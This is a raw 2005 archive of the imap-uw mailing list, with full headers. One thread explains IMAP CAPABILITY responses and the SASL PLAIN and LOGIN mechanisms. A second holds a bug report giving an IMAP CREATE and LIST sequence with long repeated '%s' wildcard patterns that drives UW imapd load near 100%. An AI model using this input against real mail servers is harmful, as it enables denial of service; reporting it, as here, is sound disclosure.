bits=256 verify=NOT); Tue, 22 Nov 2005 06:28:42 -0800 Date: Tue, 22 Nov 2005 06:28:35 -0800 (PST) From: Mark Crispin To: Roy Giles Subject: Re: [Imap-uw] imapd CAPABILITY responses In-Reply-To: <1132647390.58.725391067@it.usyd.edu.au> Message-ID: References: <1132647390.58.725391067@it.usyd.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 22 Nov 2005, Roy Giles wrote: > Could someone point me to a definition/description of the current imapd > unauthenticated CAPABILITY responses in general and specifically the > difference between AUTH=PLAIN and AUTH=LOGIN The specification for the CAPABILITY response is the IMAP specification (RFC 3501). If you wish to write IMAP software, or otherwise have a formal understanding of what CAPABILITY means, then you must refer to this document (and frequently to various extension documents since capabilities are typically implemented by extension documents). The AUTH=xxx capabilities define the SASL (RFC 2222, soon to be updated) authentication mechanisms supported by the server. The PLAIN SASL mechanism is described in RFC 2595 (soon to be updated) and is the way to do userid/password authentication in SASL. The LOGIN SASL mechanism (not to be confused with the LOGIN command) is an earlier, undocumented, long-deprecated mechanism and should not be used. The *only* reason for keeping support around for the LOGIN SASL mechanism is that some broken software does not handle PLAIN properly but can do LOGIN. AUTH=LOGIN has nothing to do with the LOGIN command, except that the LOGIN command is also long-deprecated and should not be used. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 22 07:49:14 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Nov 2005 07:49:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMFnE0L004683 for ; Tue, 22 Nov 2005 07:49:14 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMFnDCX019885 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 22 Nov 2005 07:49:13 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMFnAFS031774 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Nov 2005 07:49:10 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMFn9H4031251; Tue, 22 Nov 2005 07:49:09 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMFn8v6031243 for ; Tue, 22 Nov 2005 07:49:08 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMFn1YC004987 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 22 Nov 2005 07:49:05 -0800 Posted-Date: Tue, 22 Nov 2005 13:48:40 -0200 X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br Received: from speedy.swi (titan.swi.com.br [200.181.133.130] (may be forged)) by stratus.swi.com.br (8.13.5/8.13.5) with ESMTP id jAMFmeS1032228; Tue, 22 Nov 2005 13:48:40 -0200 Subject: Re: [Imap-uw] imapd CAPABILITY responses From: Raul Dias To: Mark Crispin In-Reply-To: References: <1132647390.58.725391067@it.usyd.edu.au> Content-Type: text/plain Date: Tue, 22 Nov 2005 13:48:39 -0200 Message-Id: <1132674519.13593.8.camel@speedy.swi> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3-1.3.101mdk Content-Transfer-Encoding: 7bit X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.1 (stratus.swi.com.br [200.203.204.140]); Tue, 22 Nov 2005 13:48:40 -0200 (BRDT) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 2005-11-22 at 06:28 -0800, Mark Crispin wrote: ... > The LOGIN SASL mechanism (not to be confused with the LOGIN command) is an > earlier, undocumented, long-deprecated mechanism and should not be used. > The *only* reason for keeping support around for the LOGIN SASL mechanism > is that some broken software does not handle PLAIN properly but can do > LOGIN. Anything other than outlook.* ? - Raul Dias _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 22 08:44:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Nov 2005 08:44:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGiruN009212 for ; Tue, 22 Nov 2005 08:44:53 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGiqMT024470 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 22 Nov 2005 08:44:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGim7e020850 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Nov 2005 08:44:49 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGimG9016241; Tue, 22 Nov 2005 08:44:48 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGilMn016225 for ; Tue, 22 Nov 2005 08:44:47 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGilLO024984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 22 Nov 2005 08:44:47 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGilQm009941 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 22 Nov 2005 08:44:47 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMGiib2002828 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 22 Nov 2005 08:44:46 -0800 Date: Tue, 22 Nov 2005 08:44:44 -0800 (PST) From: Mark Crispin To: Raul Dias Subject: Re: [Imap-uw] imapd CAPABILITY responses In-Reply-To: <1132674519.13593.8.camel@speedy.swi> Message-ID: References: <1132647390.58.725391067@it.usyd.edu.au> <1132674519.13593.8.camel@speedy.swi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 22 Nov 2005, Raul Dias wrote: > On Tue, 2005-11-22 at 06:28 -0800, Mark Crispin wrote: >> The LOGIN SASL mechanism (not to be confused with the LOGIN command) is an >> earlier, undocumented, long-deprecated mechanism and should not be used. >> The *only* reason for keeping support around for the LOGIN SASL mechanism >> is that some broken software does not handle PLAIN properly but can do >> LOGIN. > Anything other than outlook.* ? Outlook should support PLAIN by now. The problem that I referred to is with some SMTP and POP3 servers that do not implement SASL correctly with mechanisms (such as PLAIN) which do not have initial server challenges. As a result, it can be necessary for clients to know about LOGIN in order to be able to authenticate. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 24 01:20:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Nov 2005 01:20:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAO9KH8H006506 for ; Thu, 24 Nov 2005 01:20:17 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAO9KGMu016043 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 24 Nov 2005 01:20:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAO9KDxe006982 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Nov 2005 01:20:13 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAO9KD4P031804; Thu, 24 Nov 2005 01:20:13 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAO9KBh3031796 for ; Thu, 24 Nov 2005 01:20:11 -0800 Received: from staff.cs.usyd.edu.au (staff.cs.usyd.edu.au [129.78.8.1]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jAO9K9qO016751 for ; Thu, 24 Nov 2005 01:20:10 -0800 Received: from blade1.cs.usyd.edu.au. [129.78.11.79] by staff.cs.usyd.edu.au.; Thu, 24 Nov 2005 20:19:52 +1100 Date: Thu, 24 Nov 2005 20:19:47 +1100 From: Roy Giles To: Mark Crispin Subject: Re: [Imap-uw] imapd CAPABILITY responses Message-Id: <1132823992.25.308868817@it.usyd.edu.au> References: <1132647390.58.725391067@it.usyd.edu.au> X-Image-Url: http://www.it.usyd.edu.au/faces/au/edu/usyd/it/roy/face.jpg Organization: Sydney University Computer Science MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 22 Nov 2005 06:28:35 -0800 (PST), Mark Crispin wrote: > > On Tue, 22 Nov 2005, Roy Giles wrote: > > Could someone point me to a definition/description of the current imapd > > unauthenticated CAPABILITY responses in general and specifically the > > difference between AUTH=PLAIN and AUTH=LOGIN > > The specification for the CAPABILITY response is the IMAP specification > (RFC 3501). If you wish to write IMAP software, or otherwise have a > formal understanding of what CAPABILITY means, then you must refer to this > document (and frequently to various extension documents since capabilities > are typically implemented by extension documents). > > The AUTH=xxx capabilities define the SASL (RFC 2222, soon to be updated) > authentication mechanisms supported by the server. The PLAIN SASL > mechanism is described in RFC 2595 (soon to be updated) and is the way to > do userid/password authentication in SASL. > > The LOGIN SASL mechanism (not to be confused with the LOGIN command) is an > earlier, undocumented, long-deprecated mechanism and should not be used. > The *only* reason for keeping support around for the LOGIN SASL mechanism > is that some broken software does not handle PLAIN properly but can do > LOGIN. > > AUTH=LOGIN has nothing to do with the LOGIN command, except that the LOGIN > command is also long-deprecated and should not be used. > Thanks Mark, I had read some of the RFCs, just wondered if the responses had been collated anywhere to cover what was currently available; at least revisiting 3501 made some things clearer. The AUTH=LOGIN versus AUTH=PLAIN query comes from trying to find out a little more about authentication between the IMAP server within Sun's Messaging Server and a connector they provide for Outlook. We use IMAP4rev1 2004.357 in our mail setup but I need the Sun Messaging Server on another server for their Calendar component. Our imap server for mail is :- [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2004.357 while the one within the Sun Messaging/Calendar server is :- [CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS CHILDREN BINARY UNSELECT LANGUAGE XSENDER X-NETSCAPE XSERVERINFO AUTH=PLAIN] IMAP4 localhost service (Sun Java(tm) System Messaging Server 6.2-3.04 I can authenticate on both with plaintext password via telnet in the form :- a1 LOGIN user userpass This appears correct with the response from the first imap server but does the second indicate the broken software you mention in not handling PLAIN properly or am I missing something. Thanks, Roy Giles _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 24 06:29:23 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Nov 2005 06:29:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETM59021405 for ; Thu, 24 Nov 2005 06:29:22 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETLkx001857 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 24 Nov 2005 06:29:22 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETIEj030155 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Nov 2005 06:29:18 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETIYh008022; Thu, 24 Nov 2005 06:29:18 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETHcp008014 for ; Thu, 24 Nov 2005 06:29:17 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETGcC003548 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 24 Nov 2005 06:29:17 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETGI9015843 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 24 Nov 2005 06:29:16 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAOETEdk029403 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 24 Nov 2005 06:29:15 -0800 Date: Thu, 24 Nov 2005 06:29:13 -0800 (PST) From: Mark Crispin To: Roy Giles Subject: Re: [Imap-uw] imapd CAPABILITY responses In-Reply-To: <1132823992.25.308868817@it.usyd.edu.au> Message-ID: References: <1132647390.58.725391067@it.usyd.edu.au> <1132823992.25.308868817@it.usyd.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The LOGIN command has nothing to do with AUTH=LOGIN (or AUTH=PLAIN). AUTH=xxx indicate SASL mechanisms, used with the AUTHENTICATE command. On Thu, 24 Nov 2005, Roy Giles wrote: > [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2004.357 > while the one within the Sun Messaging/Calendar server is :- > [CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS CHILDREN BINARY UNSELECT LANGUAGE XSENDER X-NETSCAPE XSERVERINFO AUTH=PLAIN] IMAP4 localhost service (Sun Java(tm) System Messaging Server 6.2-3.04 > I can authenticate on both with plaintext password via telnet in the form :- > a1 LOGIN user userpass > This appears correct with the response from the first imap server but does > the second indicate the broken software you mention in not handling PLAIN > properly or am I missing something. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 25 06:26:11 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Nov 2005 06:26:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEQBbo014854 for ; Fri, 25 Nov 2005 06:26:11 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEQ9EX011366 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 25 Nov 2005 06:26:10 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEQ6tT004221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 06:26:06 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEQ64S005397; Fri, 25 Nov 2005 06:26:06 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEQ4H3005389 for ; Fri, 25 Nov 2005 06:26:04 -0800 Received: from argus.ritlabs.com (argus.ritlabs.com [195.138.101.49]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEQ3HB018885 for ; Fri, 25 Nov 2005 06:26:04 -0800 Received: from host-212.56.194.245.mldnet.com (host-212.56.194.245.mldnet.com [212.56.194.245]) (authenticated bits=0) by argus.ritlabs.com (8.12.11/8.12.11) with ESMTP id jAPEPrLL029060 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 25 Nov 2005 16:25:54 +0200 Date: Fri, 25 Nov 2005 16:25:56 +0200 From: Igor Tsurcanovsky X-Mailer: The Bat! (v3.0.2.1) Professional X-Priority: 3 (Normal) Message-ID: <1166441479.20051125162556@ritlabs.com> To: imap-uw@u.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_MSGID 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __THEBAT_MUA 0' Subject: [Imap-uw] LIST command can cause high server load X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Igor Tsurcanovsky List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Following sequence of command cause server load near 100%. 0002 CREATE "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% s%s%s%s%s%s%s%s%s%s%s% s%s%s%s%s%s" 0002 OK CREATE completed 0004 LIST "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% s%s%s%s%s%s%s%s%s%s%s%s% s%s%s%s%s" "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% s%s%s%s%s%s%s%s%s%s%s%s %s%s%s%s%s" -- Best regards, Igor mailto:Igor@ritlabs.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 25 06:44:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Nov 2005 06:44:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEiI49015396 for ; Fri, 25 Nov 2005 06:44:18 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEiHpc012215 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 25 Nov 2005 06:44:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEiECZ032680 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 06:44:14 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEiEx7006624; Fri, 25 Nov 2005 06:44:14 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEiDps006616 for ; Fri, 25 Nov 2005 06:44:13 -0800 Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.61]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPEiAdC017222 for ; Fri, 25 Nov 2005 06:44:10 -0800 Received: from 207-172-91-24.c3-0.gth-ubr1.lnh-gth.md.cable.rcn.com (HELO [192.168.100.151]) ([207.172.91.24]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Nov 2005 09:44:11 -0500 X-IronPort-AV: i="3.97,376,1125892800"; d="scan'208"; a="133212881:sNHT24910316" Message-ID: <43872338.9090705@starpower.net> Date: Fri, 25 Nov 2005 09:44:08 -0500 From: Tom Cooper User-Agent: Mozilla Thunderbird 0.6 (Macintosh/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Igor Tsurcanovsky Subject: Re: [Imap-uw] LIST command can cause high server load References: <1166441479.20051125162556@ritlabs.com> In-Reply-To: <1166441479.20051125162556@ritlabs.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Igor Tsurcanovsky wrote: >Following sequence of command cause server load near 100%. > >0002 CREATE >"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% >s%s%s%s%s%s%s%s%s%s%s% >s%s%s%s%s%s" >0002 OK CREATE completed >0004 LIST >"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% >s%s%s%s%s%s%s%s%s%s%s%s% >s%s%s%s%s" >"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% >s%s%s%s%s%s%s%s%s%s%s%s >%s%s%s%s%s" > > > Igor, I'm not criticizing you, and apologize in advance if the title of the article is insulting to you, but I thought it might be helpful for list participants to be reminded of the helpful culture in the internet world, and how to get the results you want. Eric Raymond wrote a great article on how to get what you want. http://linuxmafia.com/faq/Essays/smart-questions.html Respectfully, Tom Cooper _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 25 08:03:17 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Nov 2005 08:03:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPG3HQ1018817 for ; Fri, 25 Nov 2005 08:03:17 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPG3GPW017141 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 25 Nov 2005 08:03:16 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by 